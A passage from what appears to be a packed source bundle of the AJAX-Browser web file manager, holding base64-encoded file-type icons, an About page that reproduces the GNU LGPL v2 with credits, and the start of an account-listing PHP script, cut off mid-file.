  './AJAX-B/icones/type-reload.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHsSURBVDjLtZPpTlpRFIV5Dt7AOESr1kYNThGnSomIihPoNVi5Qp3RgBgvEERpRW1BRBAcMEDUtIkdjKk4otK0Jdr2vgxZ3kA0MYoaG3+cX2evb529zt4sAKz/OawnASgCBNm5LaE7vjVDutkA4mMdLV4TkvcCuvba2Iqd1pDhWA33mQU+2oXVv07YfpoxuNWFuqVXoeqFCnZcgJwRm04p+Gk3Fs9t8PyZx/K5Hfbf03CGLRj62g2+rSR0K0D+vZXUB1Xw/ou5usJWjAaU0Gz3w/rjHey/ZjDLvKTD34KSyXzyBkC2JaYd4feMqyNa3OQTREQePlXjrqSq5ssj5hMjTMd66ALDKDLm0jcA0s+NID6JIFmvQaNXANEKX3l5x7NyqTcb7Zg8GYtCOLoXuPcbha6XV0VlU4WUzE9gPKjF2CGFbE3G3QAmafDnShETF3iKTZyIblcNza4Syi/deD6USscFCJwV6Fwn8NonQak5Hy1L9TAcjkJ/oAG1p0a1hYdnfcnkrQCBoxyyNYLp1YCJoB7GIwqGgxGod/oZsQoNDiHSepNCceeAN8uF1CvGxJE25rofc+3blKPqQ2VUnKxIYN85yty3eWh216LeKUTOSCayVGlIH0g5S+1JJB+8Cxxt1rWkH7WNTNIPAlwA9Gm7OcXUHxUAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-sh.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAGNSURBVDjLpVM9SwNBEJ297J1FQBtzjQj2dgppYiP4A1KZRoiFrYWt9rHyH6QUPBDTCimtLNSAnSB26YKg4EdMdsd5611cjwsIWRhmZ3f2zZuPVcxMsyx9fPF0NRfS2vM7lx2WtcQiJHvDRvZMluXMGNHstJH7+Wj09jHkOy1+tc3VxeC+P6TXT1sYZX2hT7cvS6lepv3zHUp2T8vXNw81dXT2yGwEGeERSbSVCC5qysYa+3vm9sJGmLFojceXJ9uklCqUIAic5G3IytahAAhqqVSiwWDwx6nogW9XKhWphaGAvC50Oh1qtVr/7oAdCwBQwjB00mg0qFqtUr1ed3YURZM7X7TWTqM2Gm3CASRJEur1etTtdp1DnrafFtJGMbVNGSBas9l0DrAzR6x8DdwASUB0RqNNGS2/gH7EInvCwMhkZTnlnX0GsP09tJER0BgMoAEAa1rETDIQvBkjBZeHMIjjuNB5Ggg0/oZWPGrHGwd7Fp9F2CAlgHKqf0aYXb6Y2mzE8d/IfrXVrN/5G81p6oa2mIEUAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-tar.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFhsisZf5tAAAAwVJREFUOMtlk19oHFUYxX/3zuzs7mSSbmOr8V+2LEmNhjRKTGwQSkmLtYKxBBSCGmkRxDdBREGDIPggKgghPkgRBYtSrBZB3wxakaZCi5RA/iikLatNSLPN/plkd3bmfj5ssiTrhQPncr9zvnPv5bMADShAtvE6hnro27uLtn9yLDeebQO6jkRHhpbnTgH6QDuZHz7oOhNm34tKs6eKwwP6qR21O1EjKtnZMTL25/X+B96ePP36fR9XFz+sRGZKgvwnEkbvSnlhpPrS4dhYoxjQFqBsr2Pf8Mi3UwO96fYTfd39o+Njg7o1ZUGWYHUWJ1nAtn19fHDPM/6NZX/67/DipoEAysLykr2Pjk+OHuoZjFo0mbSQTi8Q+XNEpXnEv0asvIT4RaxgTQ31Nj0R98vNv85Vf5ZNJwXoTButf331yIp66A2kbT/IIqIW0SYL/y4gqzeJ1vJUb/uwXsBEHp+eDz978/v8q4Cp30ubEuqPk6gbZ9Fk0bIEfg6p+Oi4TcwSXGsdN+Xh7bF5vEuGgASg7U0TTNxFiwfznyPRUWjzwM9BqQCVAlQBpxWprKKkgohbl9ZNiCeQ+O4aX7mCMp2YaANCjTEpdCwHJoCEiwQukdZAkR1JiLtIfGujkWoOEl3gzIC1jqm6EHdREkHSIGqjIYkBiSWxmp1t3w9iRajAARwQUysEEEOkwnpHGzC3ipTmrlybe3C4rwsM2KAiBaoFUbtRCIQ1AxFBEYGTryexAF0JCb6bWjnXn6ocbj/Ycw9JF+U0geUhdojEE0gygcSSLF/oZu3qQdauZvSX1/eVqcxM21sZl/IsPf3W/JEvblbPnXjn5aOmqbk2lW4ZMGhjqKwU+fGXZ0314bS+nFqFYPQCEtaSbE1jEBGcn759dm92fn/voWPdscRdYCmiQozLp3+/9dorP33020ZnqSz33/n1meePh4VLl3Y84valFfb4sTsmijMTMvvNi8WTPU2TrkUG0I89+f7ErrsHB/6naeBbo62P3KteaHU4ANj1OstzG3T6PzftOKa7/Y7cAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-txt.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADoSURBVBgZBcExblNBGAbA2ceegTRBuIKOgiihSZNTcC5LUHAihNJR0kGKCDcYJY6D3/77MdOinTvzAgCw8ysThIvn/VojIyMjIyPP+bS1sUQIV2s95pBDDvmbP/mdkft83tpYguZq5Jh/OeaYh+yzy8hTHvNlaxNNczm+la9OTlar1UdA/+C2A4trRCnD3jS8BB1obq2Gk6GU6QbQAS4BUaYSQAf4bhhKKTFdAzrAOwAxEUAH+KEM01SY3gM6wBsEAQB0gJ+maZoC3gI6iPYaAIBJsiRmHU0AALOeFC3aK2cWAACUXe7+AwO0lc9eTHYTAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-unknown.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfWCRYRBC+iiA66AAACG0lEQVQoFQEQAu/9AQAAABwAFwADAAAAAAAAAAAAAAAAAAAA6gDiAP4AAAAAAAAAADP48Pv9/P/8//z//P/8//z/+P+UkQAgAAIAAAAAAAAAADb7/fT/9f/1//X/8f/v/+n//P/n/5WRACAAAgAAAAABADb8//f/+f/3//f/8//w/+r//P/2//T/mZEAIAAAAAABADb8//n/+f/5//f/9v/y/+v//P/8//z//P8ANgABBAAAAAAAAAIAAQDYAN0A+gAMACsAAQD+APwAFgAAAAAAAgAAAAAAAAEAAAD6ACcAKADzANoABgAFAAcAAAAAAAAABAAAAAAAAAAAAAAuAAAA8wDXAAEABAABAP8AAAAAAAAABAAAAAAAAAAAAAAAAPEAxQACACoAAwAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAMcA+AA4ABQAAAADAAIAAAAAAAAABAAAAAAAAAAAAAAAADAAAAAXAP8AAQD+AAAAAAAAAAAABAAAAAAAAAAAAAAAAPsAAAD/AAAAAAACAAAAAAAAAAAABAAAAAAAAAAAAAAAAMsAAAAcAAAAAAAAAAAAAAAAAAAABAAAAAAA/wABAAAAAFIAAAAAAAAAAAAAAAAAAP4AAAD/AgD/AP799wD+AAAAAAAAAAAAAAAAAAAAAAD+/fYA/QAAAQAAAB0AFwACAAAAAAAAAAAAAAAAAAAAAAAAAP0A6gDjyJ19sy9fEggAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-var.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAACwUlEQVQ4jYVTTUgbQRT+djbZxISUKHVJ2AhpIpSanHqQ+HMqxYsltPFiD17aq+Ra8CJ6CJTW3IoiiJeePLTBgocStNJSQklohd2YTYNFiU2sEoMmktDd2R7Mphtp8cEwjzdvvvd9780wAAgujTqdTs/09PQLn883pqqqqdls5paWlmZFUXyPa4wAIF1dXc7l5eXvQ0NDrxiGCQLwuFyuyOLi4o+BgYEHet5/1qUzPj4enZqaeguAMyb09fXdi8ViGQAmY1GDAqI7cLvdt2RZ/ghAAUB1iScnJ2mHw+EBYNVjhnPAgA5Jkr4ODw9PFAqFN6Ojo2Msy8Lv998JBoP9tVrtghBCKaU6E2Mr/jqEENvc3NzOxsbGb0mStHQ6rRWLRW1ra0vb29vT5ufnV6/IaBujB1mW5RKJxL7f7+dLpRIODw/h8Xjg8/kgSRICgQACgcDter1euArSluNwOHhBEHiv14uenh4IgoDT01PY7XYAgKqq4DjO1QLp6Emb2tnZ2a9cLlduNptQFAWqqoJlWTQaDfT29kKW5Uq1Ws3/4y5hW5KopmlUluXiyMjIQ5vNRliWhd1uR7lchtPpBKXUvL29/a5Sqey3Lmv6TgyoNJ/PJ2q1Gj04OEAmkymGw+Fn8Xj8taIoUBTFFIvFVjmOc15lQmCYe3d3t9dsNnOqqiKVSn0RRfHl2tra05WVlaSqquB5vj8ajS7oRVsgtGNkhBDl+Pj4jOM4iKK400pU4vH4o1Qq9cFqtSISiTwZHBwMG8ZNjIiYnJxcEAThBsdx2N3d/aZXAnCRTCY/ZbPZCiEEoVDoseGszYRYLBabxWJpaJqGer1OS6VS1tivzc3N2aOjo0K1WkUul+uYkklnwjAM53a7QyzLYn19/bOiKD8N1QCAzszMTPA8f/f8/Nz4Vjr+AvF6vfdDodBzADeN8ev2PyWiKBu7pEwrAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-zip.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFh8e+pRANwAAAxFJREFUOMtlk01oXFUcxX/3vo+Z9/LSdpKMTaONbZw00ZBGDWkZrKKxWOKiSkE31kqrG1256kaqIHZVBTEEBEVwUdRiRaQWBBu0UNqCtQFbkrqQFCd1xjSTyXxl5s2893eR6ZCMFw4cuOcczoV7DEADCpB1vInxXkbjDt0LRTKtd+uAbiKW6CPx8jFA7+6k74c3B0/XL78fFM8dKxxM6Oc3aDdijaiO/sShd2duD4y8M/X5Sw98VLt0qhouT4s/97EEt9+TyrlDtdeGrCOtZkAbgDK7EjsOvvXt9J5HHux9ZufQ2BsfHEka8S0GfopqahbLyGNKSU8Md71Q+itTupKuX24ECKAMbM8ZOXBiamJgOGnFNTs6hf6uP6kvzVFfvIVk57FyaSRfwCjn1PhDbc9FcpX2X/+pXZBGkkHgB+6d89NfP3nxeHJ0G7sej4JkMIx/MXQWazmNZNIECxn8VJZwMcPe7W5yc2B3/3yn+iMQNt+la0XU6aNw7Qy6koJKGlayyGoJHTGxtOBKGTfm4XWYPNEj40AU0GYjhNBx0TUPLn6BlPfD/R6sZCGXh3IefMDtQEpLqKCKiNu0NkNwoogVW+Pzv6Nq/YT+KgSaUG9B21mo+xBzEd8lsDRQYEMTHBexGlxpZDULsUEo3wBdJlQuOC5KApAQMVZbmoQgUQej3Qalm7kSCVCODdgg4RoAJCTQ9XsybQLh3QrFuZn5uYdfHB2EEExQgQJrExLEUAjU1gJEBEUAkZVmEwPQ1QD/u98Wz47p6tO9+4Z7tOdCpA1sDzHqSDSKtEWRiEPmjyFyhQlyqUf1l368QvbGFaPx6yjWKZ69vvTNYGZxbGDfU31s6gbVjrKrqKiDMh38fMDkL6+HC4+Nqp/snsr1C5+epPB3yli/XD/E/352+Uz85q1dI+MHhixvK8pU1PIW1z67dPft4+c/nNnaX6w42+/76pNXJuoLV6+u29DGoxXmiZHOycL0pMyeerVwdFvblKvoA/TewycnNyeSe/7naeH3pq2f9dThDs1uwGzqbM9t8en/AJFuNLLZkDl2AAAAAElFTkSuQmCC',
  './AJAX-B/scripts/APropos.php' => '<?php
/**-------------------------------------------------
 | AJAX-Browser - by Alban LOPEZ
 | Copyright (c) 2006 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/
?>
<center style="padding:20px;">
	<b>AJAX-Browser V<?php echo VERSION; ?></b><br>
	<?php echo $ABS[0];?><br>
	<br>Copyright (C) 2007 : Lopez Alban<br>
	<br><?php echo $ABS[30];?> :<br>
	alban.lopez@gmail.com<br><br>
<hr><div><a href="http://ajaxbrowser.free.fr/Ajax-B_Pub/en/contribute.php"><?php echo $ABS[37];?></a>
<br><?php echo $ABS[30];?><br>
Ce programme est distribué selon les termes de la LGPL v2.<br>
<br>
		 GNU GENERAL PUBLIC LICENSE<br>
		 Version 2, June 1991<br><br>
<br>
 Copyright (C) 1991 Free Software Foundation, Inc.<br>
 51 Franklin Street, Fifth Floor<br>
 Boston, MA 02110-1301, USA.<br>
 Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.<br>
<br>
			 Preamble<br>
<br>
 The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users.<br>
<br>
 This license, the Library General Public License, applies to some specially designated Free Software Foundation software, and to any other libraries whose authors decide to use it. You can use it for your libraries, too.<br>
<br>
 When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.<br>
<br>
 To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library, or if you modify it.<br>
<br>
 For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link a program with the library, you must provide complete object files to the recipients so that they can relink them with the library, after making changes to the library and recompiling it. And you must show them these terms so they know their rights.<br>
<br>
 Our method of protecting your rights has two steps: (1) copyright the library, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the library.<br>
<br>
 Also, for each distributor's protection, we want to make certain that everyone understands that there is no warranty for this free library. If the library is modified by someone else and passed on, we want its recipients to know that what they have is not the original version, so that any problems introduced by others will not reflect on the original authors' reputations.<br>
<br>
 Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that companies distributing free software will individually obtain patent licenses, thus in effect transforming the program into proprietary software. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.<br>
<br>
 Most GNU software, including some libraries, is covered by the ordinary GNU General Public License, which was designed for utility programs. This license, the GNU Library General Public License, applies to certain designated libraries. This license is quite different from the ordinary one; be sure to read it in full, and don't assume that anything in it is the same as in the ordinary license.<br>
<br>
 The reason we have a separate public license for some libraries is that they blur the distinction we usually make between modifying or adding to a program and simply using it. Linking a program with a library, without changing the library, is in some sense simply using the library, and is analogous to running a utility program or application program. However, in a textual and legal sense, the linked executable is a combined work, a derivative of the original library, and the ordinary General Public License treats it as such.<br>
<br>
 Because of this blurred distinction, using the ordinary General Public License for libraries did not effectively promote software sharing, because most developers did not use the libraries. We concluded that weaker conditions might promote sharing better.<br>
<br>
 However, unrestricted linking of non-free programs would deprive the users of those programs of all benefit from the free status of the libraries themselves. This Library General Public License is intended to permit developers of non-free programs to use free libraries, while preserving your freedom as a user of such programs to change the free libraries that are incorporated in them. (We have not seen how to achieve this as regards changes in header files, but we have achieved it as regards changes in the actual functions of the Library.) The hope is that this will lead to faster development of free libraries.<br>
<br>
 The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, while the latter only works together with the library.<br>
<br>
 Note that it is possible for a library to be covered by the ordinary General Public License rather than by this special one.<br>
<br>
		 GNU LIBRARY GENERAL PUBLIC LICENSE<br>
 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION<br>
<br>
 0. This License Agreement applies to any software library which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Library General Public License (also called "this License"). Each licensee is addressed as "you".<br>
<br>
 A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables.<br>
<br>
 The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".)<br>
<br>
 "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library.<br>
<br>
 Activities other than copying, distribution and modification are not overed by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does.<br>
<br>
 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library.<br>
<br>
 You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.<br>
<br>
 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:<br>
<br>
 a) The modified work must itself be a software library.<br>
<br>
 b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change.<br>
<br>
 c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License.<br>
<br>
 d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful.<br>
<br>
 (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.)<br>
<br>
These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.<br>
<br>
Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library.<br>
<br>
In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.<br>
<br>
 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices.<br>
<br>
 Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy.<br>
<br>
 This option is useful when you wish to copy part of the code of the Library into a program that is not a library.<br>
<br>
 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange.<br>
<br>
 If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code.<br>
<br>
 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License.<br>
<br>
 However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables.<br>
<br>
 When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law.<br>
<br>
 If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.)<br>
<br>
 Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself.<br>
<br>
 6. As an exception to the Sections above, you may also compile or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications.<br>
<br>
 You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things:<br>
<br>
 a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.)<br>
<br>
 b) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution.<br>
<br>
 c) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place.<br>
<br>
 d) Verify that the user has already received a copy of these materials or that you have already sent this user a copy.<br>
<br>
 For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.<br>
<br>
 It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute.<br>
<br>
 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things:<br>
<br>
 a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above.<br>
<br>
 b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.<br>
<br>
 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.<br>
<br>
 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it.<br>
<br>
 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.<br>
<br>
 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library.<br>
<br>
If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances.<br>
<br>
It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.<br>
<br>
This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.<br>
<br>
 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.<br>
<br>
 13. The Free Software Foundation may publish revised and/or new versions of the Library General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.<br>
<br>
Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation.<br>
<br>
 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.<br>
<br>
			 NO WARRANTY<br>
<br>
 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.<br>
<br>
 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.<br>
<br>
		 END OF TERMS AND CONDITIONS<br>
<br>
 How to Apply These Terms to Your New Libraries<br>
<br>
 If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License).<br>
<br>
 To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.<br>
<br>
 <one line="" to="" give="" the="" library="" s="" name="" and="" a="" brief="" idea="" of="" what="" it="" does=""><br>
 Copyright (C) <year> <name of="" author=""><br>
<br>
 This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.<br>
<br>
 This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.<br>
<br>
 You should have received a copy of the GNU Lesser General Public<br>
 License along with this library; if not, write to the Free Software<br>
 Foundation, Inc.,<br>
 51 Franklin Street,<br>
 Fifth Floor,<br>
 Boston,<br>
 MA 02110-1301 USA<br>
<br>
Also add information on how to contact you by electronic and paper mail.<br>
<br>
You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names:<br>
<br>
 Yoyodyne, Inc., hereby disclaims all copyright interest in the<br>
 library `Frob' (a library for tweaking knobs) written by James Random Hacker.<br>
<br>
 <signature of="" ty="" coon="">, 1 April 1990<br>
 Ty Coon, President of Vice<br>
<br>
That's all there is to it!<br>
</signature></name></year></one>
</div>
<br>
CodePress - Real Time Syntax Highlighting Editor<br>
by Fernando M.A.d.S. fermads@gmail.com<br>
<br>
TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.1<br>
By Devin Doucette darksnoopy@shaw.ca<br>
</center>
',
  './AJAX-B/scripts/Accounts.php' => '<?php
function LstAccount ()
{
        global $ABS;
?>
<table id='UsrLst' class="LstArray">
        <colgroup><col width='130px'><col width='30px'></colgroup>
                <?php
                foreach ($GLOBALS['AJAX-Var']['accounts'] as $UserName => $UserConf)
                {
                ?>
                <tr title="<?php echo $ABS[3].' : '.$UserConf['last']; ?>">
                        <td class="bold italic"><?php echo $UserName.' ( '.array_sum ($UserConf['IP_count']).' )';?></td>
                        <td>
